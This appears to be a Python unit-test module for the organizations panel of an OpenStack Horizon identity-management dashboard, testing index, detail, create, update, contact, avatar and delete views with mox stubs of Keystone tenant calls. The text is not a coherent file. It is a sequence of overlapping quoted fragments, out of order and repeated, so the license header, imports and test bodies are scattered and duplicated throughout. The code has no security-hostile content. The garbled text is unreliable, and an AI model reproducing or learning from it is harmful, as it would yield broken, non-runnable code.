https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post # https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ), }) def", "the default/first tab, no need to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations,", "to in writing, software # distributed under the License is distributed on an", "all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id,", "api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data,", "'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list', ) })", "response = self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ),", "'', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : '' } return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone:", "project = self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll()", "want to test. The world is tought for multiforms :( self.assertFormError(response, 'form', 'name',", "admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response,", "response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertNoMessages() class", "openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.idm import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations", "}) def test_detail(self): project = self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest),", "distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT #", "is tought for multiforms :( self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertFormError(response,", "import IsA # noqa from django import http from django.core.urlresolvers import reverse from", "# not use this file except in compliance with the License. You may", "organization', \"description\": 'updated organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project)", "\"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method':", "# License for the specific language governing permissions and limitations # under the", "self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll()", ": '' } return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations =", "False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class", "form_data = { 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url", "= self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_info_required_fields(self): project = self.get_organization()", "} url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def", "self.get_organization() mock_file = self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,", "form_data = { 'method': 'InfoForm', 'orgID': project.id, 'name': '', 'description': '', 'city': '',", "in writing, software # distributed under the License is distributed on an \"AS", "Version 2.0 (the \"License\"); you may # not use this file except in", "'orgID':project.id, 'image': updated_project[\"image\"], } url = reverse('horizon:idm:organizations:avatar', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response)", "response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest),", "'name': '', 'description': '', } response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This", "= reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self, project): project_info = { \"name\": unicode(project.name), \"description\":", "default/first tab, no need to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False))", "Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response =", "'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response)", "{ \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data", "\"License\"); you may # not use this file except in compliance with the", "def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = {", "Universidad Politecnica de Madrid # # Licensed under the Apache License, Version 2.0", "mock_file = self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data =", "'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url,", "import http from django.core.urlresolvers import reverse from openstack_dashboard import api from openstack_dashboard.test import", "limitations # under the License. import unittest from mox import IsA # noqa", "Owned organizations mockup # Only calls the default/first tab, no need to mock", "url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self):", "the Apache License, Version 2.0 (the \"License\"); you may # not use this", "the License. import unittest from mox import IsA # noqa from django import", "= reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: (", "helpers as test from openstack_dashboard.dashboards.idm import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import", "updated_project[\"description\"], 'city':updated_project[\"city\"], } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not", "= self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = {", "= {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'AvatarForm', 'orgID':project.id,", "def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations = all_organizations[:len(all_organizations)/2] # Other", "forms as organizations_forms INDEX_URL = reverse('horizon:idm:organizations:index') CREATE_URL = reverse('horizon:idm:organizations:create') class BaseOrganizationsTests(idm_tests.BaseTestCase): def _get_project_info(self,", "in forms, not the one # we want to test. The world is", "not use this file except in compliance with the License. You may obtain", "project = self.get_organization() updated_project = { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project)", "def test_index(self): user_organizations = self.list_organizations() # Owned organizations mockup # Only calls the", "as test from openstack_dashboard.dashboards.idm import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms", "args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization()", "'name': project._info[\"name\"], 'description': project._info[\"description\"], } response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data", "self.get_organization() updated_project = { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id,", "['This field is required.']) self.assertFormError(response, 'form', 'description', ['This field is required.']) self.assertNoMessages() class", "language governing permissions and limitations # under the License. import unittest from mox", "'', 'website': '', } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages()", "permissions and limitations # under the License. import unittest from mox import IsA", "License for the specific language governing permissions and limitations # under the License.", "openstack_dashboard import api from openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.idm import tests", "{ \"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '',", "response = self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm', 'name':", "= reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) class UpdateAvatarTests(BaseOrganizationsTests): # https://docs.djangoproject.com/en/1.7/topics/testing/tools/#django.test.Client.post #", "user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self): all_organizations = self.list_organizations() user_organizations = all_organizations[len(all_organizations)/2:] other_organizations", "project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : ''", "'tenant_get', 'user_list', ) }) def test_detail(self): project = self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest),", "self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll()", "= self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description':", "'method': 'InfoForm', 'orgID': project.id, 'name': '', 'description': '', 'city': '', } url =", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the #", "'?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations) self.assertNoMessages() class DetailTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_get', 'user_list',", "reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) # FIXME(garcianavalon) form contains the last form", "governing permissions and limitations # under the License. import unittest from mox import", "forms, not the one # we want to test. The world is tought", "'tenant_update', 'tenant_get', ), }) def test_update_contact(self): project = self.get_organization() updated_project = { \"email\":", "= { 'method': 'ContactForm', 'orgID':project.id, 'email': '', 'website': '', } url = reverse('horizon:idm:organizations:contact',", "OF ANY KIND, either express or implied. See the # License for the", "'email': '', 'website': '', } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data)", "user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone:", "= self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id])", "'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project = self.get_organization()", "self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project = self.get_organization() project_details", "mox import IsA # noqa from django import http from django.core.urlresolvers import reverse", "self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)}) def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data =", "'', 'description': '', 'city': '', } url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url,", "# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the", "( 'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest),", "api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website':", "user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab') self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, other_organizations)", ") }) def test_detail(self): project = self.get_organization() users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users)", "to mock the others tab api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL)", "self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages()", "), }) def test_update_avatar(self): project = self.get_organization() mock_file = self.mox.CreateMock(file) updated_project = {\"image\":", "['This field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ),", "@unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ), }) def test_update_avatar(self): project = self.get_organization()", "(the \"License\"); you may # not use this file except in compliance with", "form_data = { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], } response = self.client.post(CREATE_URL,", "https://code.google.com/p/pymox/wiki/MoxDocumentation @unittest.skip('not ready') @test.create_stubs({ api.keystone: ( 'tenant_update', ), }) def test_update_avatar(self): project =", "= reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests):", "'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response", "'Updated organization', \"description\": 'updated organization', \"enabled\": True, \"city\": 'Madrid'} api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id,", "{\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'AvatarForm', 'orgID':project.id, 'image':", "form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm', 'name': '', 'description': '',", "api from openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.idm import tests as idm_tests", "api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html')", "# # Unless required by applicable law or agreed to in writing, software", "project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"],", "'orgID':project.id, 'email': '', 'website': '', } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url,", "project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"],", "api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL + '?tab=panel_tabs__organizations_tab')", "test_update_info(self): project = self.get_organization() updated_project = {\"name\": 'Updated organization', \"description\": 'updated organization', \"enabled\":", "'form', 'name', ['This field is required.']) self.assertFormError(response, 'form', 'description', ['This field is required.'])", "( 'tenant_update', 'tenant_get', ), }) def test_update_contact(self): project = self.get_organization() updated_project = {", "= { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll()", "organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL", "# Owned organizations mockup # Only calls the default/first tab, no need to", "'description': '', } response = self.client.post(CREATE_URL, form_data) self.assertFormError(response, 'form', 'name', ['This field is", "Madrid # # Licensed under the Apache License, Version 2.0 (the \"License\"); you", "is required.']) self.assertFormError(response, 'form', 'description', ['This field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({", "\"website\" : '' } return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self): user_organizations", "project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url)", "License. You may obtain # a copy of the License at # #", "def test_update_contact_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm',", "the License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR", "\"name\": unicode(project.name), \"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str),", "under the License. import unittest from mox import IsA # noqa from django", "reverse from openstack_dashboard import api from openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.idm", "'form', 'description', ['This field is required.']) self.assertNoMessages() class UpdateContactTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update',", "= { 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description': updated_project[\"description\"], 'city':updated_project[\"city\"], } url =", "test_update_info_required_fields(self): project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':", "project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method': 'CancelForm',", "{ 'method': 'CancelForm', 'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url,", "2014 Universidad Politecnica de Madrid # # Licensed under the Apache License, Version", "users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project = self.get_organization() project_details =", "api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'InfoForm', 'orgID':project.id, 'name': updated_project[\"name\"], 'description':", "'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], } url = reverse('horizon:idm:organizations:avatar', args=[project.id]) response = self.client.post(url, form_data)", "Politecnica de Madrid # # Licensed under the Apache License, Version 2.0 (the", "= { 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact',", "users = self.users.list() api.keystone.user_list(IsA(http.HttpRequest), project=project.id, filters={'enabled':True}).AndReturn(users) api.keystone.tenant_get(IsA(http.HttpRequest), project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail',", "ANY KIND, either express or implied. See the # License for the specific", "class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project = self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest),", "= { 'method': 'InfoForm', 'orgID': project.id, 'name': '', 'description': '', 'city': '', }", "self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_delete', 'tenant_get', ), }) def test_delete_organization(self): project", "= self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_delete(IsA(http.HttpRequest), project).AndReturn(None) self.mox.ReplayAll() form_data = { 'method': 'CancelForm', 'orgID':", "= reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @unittest.skip('not ready') @test.create_stubs({api.keystone: ('tenant_get',)}) def", "self.client.post(url, form_data) # FIXME(garcianavalon) form contains the last form in forms, not the", "\"description\": unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png',", "class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone: ( 'tenant_update', 'tenant_get', ), }) def test_update_info(self): project =", "**updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], }", "self.client.post(CREATE_URL, form_data) self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm', 'name': '', 'description':", "FIXME(garcianavalon) form contains the last form in forms, not the one # we", "project.id, admin=True).AndReturn(project) self.mox.ReplayAll() url = reverse('horizon:idm:organizations:detail', args=[project.id]) response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data,", "test from openstack_dashboard.dashboards.idm import tests as idm_tests from openstack_dashboard.dashboards.idm.organizations \\ import forms as", "response = self.client.get(url) self.assertTemplateUsed(response, 'idm/organizations/detail.html') self.assertItemsEqual(response.context['members_table'].data, users) self.assertNoMessages() class CreateTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_create',)}) def", "form_data) self.assertFormError(response, 'form', 'name', ['This field is required.']) self.assertNoMessages() class UpdateInfoTests(BaseOrganizationsTests): @test.create_stubs({ api.keystone:", "License. import unittest from mox import IsA # noqa from django import http", "test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm', 'name': '', 'description': '', } response =", "} url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoMessages() class DeleteTests(BaseOrganizationsTests): @test.create_stubs({", "api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email':", "'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data)", "under the Apache License, Version 2.0 (the \"License\"); you may # not use", "project = self.get_organization() api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email':", "WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See", "other_organizations = all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations,", "self.mox.ReplayAll() form_data = { 'method': 'CreateOrganizationForm', 'name': project._info[\"name\"], 'description': project._info[\"description\"], } response =", "unicode(project.description), \"enabled\": project.enabled, \"domain\": IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\"", "\"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : '' } return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)})", "'method': 'CancelForm', 'orgID': project.id, } url = reverse('horizon:idm:organizations:cancel', args=[project.id]) response = self.client.post(url, form_data)", "} url = reverse('horizon:idm:organizations:info', args=[project.id]) response = self.client.post(url, form_data) # FIXME(garcianavalon) form contains", "self.assertNoFormErrors(response) def test_create_organization_required_fields(self): form_data = { 'method': 'CreateOrganizationForm', 'name': '', 'description': '', }", "unittest from mox import IsA # noqa from django import http from django.core.urlresolvers", "updated_project = { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project)", "test_update_avatar(self): project = self.get_organization() mock_file = self.mox.CreateMock(file) updated_project = {\"image\": 'image',} api.keystone.tenant_update(IsA(http.HttpRequest), project.id,", "updated_project[\"website\"], } url = reverse('horizon:idm:organizations:contact', args=[project.id]) response = self.client.post(url, form_data) self.assertNoFormErrors(response) @test.create_stubs({api.keystone: ('tenant_get',)})", "See the # License for the specific language governing permissions and limitations #", "self.get_organization() updated_project = {\"name\": 'Updated organization', \"description\": 'updated organization', \"enabled\": True, \"city\": 'Madrid'}", "api.keystone.tenant_update(IsA(http.HttpRequest), project.id, **updated_project).AndReturn(project) self.mox.ReplayAll() form_data = { 'method': 'AvatarForm', 'orgID':project.id, 'image': updated_project[\"image\"], }", "= self.get_organization() updated_project = { \"email\": '<EMAIL>', \"website\": 'http://www.organization.com/', } api.keystone.tenant_get(IsA(http.HttpRequest), project.id).AndReturn(project) api.keystone.tenant_update(IsA(http.HttpRequest),", "all_organizations[:len(all_organizations)/2] # Other organizations mockup api.keystone.tenant_list(IsA(http.HttpRequest), admin=False).AndReturn((all_organizations, False)) api.keystone.tenant_list(IsA(http.HttpRequest), user=self.user.id, admin=False).AndReturn((user_organizations, False)) self.mox.ReplayAll()", "form_data = { 'method': 'ContactForm', 'orgID':project.id, 'email': updated_project[\"email\"], 'website': updated_project[\"website\"], } url =", "'/static/dashboard/img/logos/small/group.png', \"website\" : '' } return project_info class IndexTests(BaseOrganizationsTests): @test.create_stubs({api.keystone: ('tenant_list',)}) def test_index(self):", "self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def test_other_organizations_tab(self):", "IsA(api.base.APIDictWrapper), \"city\": '', \"email\": '', \"img\":IsA(str), # '/static/dashboard/img/logos/small/group.png', \"website\" : '' } return", "False)) self.mox.ReplayAll() response = self.client.get(INDEX_URL) self.assertTemplateUsed(response, 'idm/organizations/index.html') self.assertItemsEqual(response.context['table'].data, user_organizations) self.assertNoMessages() @test.create_stubs({api.keystone: ('tenant_list',)}) def", "law or agreed to in writing, software # distributed under the License is", "@test.create_stubs({api.keystone: ('tenant_create',)}) def test_create_organization(self): project = self.get_organization() project_details = self._get_project_info(project) api.keystone.tenant_create(IsA(http.HttpRequest), **project_details).AndReturn(project) 